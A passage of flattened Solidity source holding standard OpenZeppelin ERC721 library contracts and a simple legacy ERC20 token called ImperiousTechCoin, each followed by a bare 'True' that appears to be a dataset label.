_balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }

True

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pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ImperiousTechCoin is StandardToken { string public name = "Imperious Technology"; string public symbol = "IMPS"; uint8 public decimals = 2; uint public INITIAL_SUPPLY = 45000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }

True

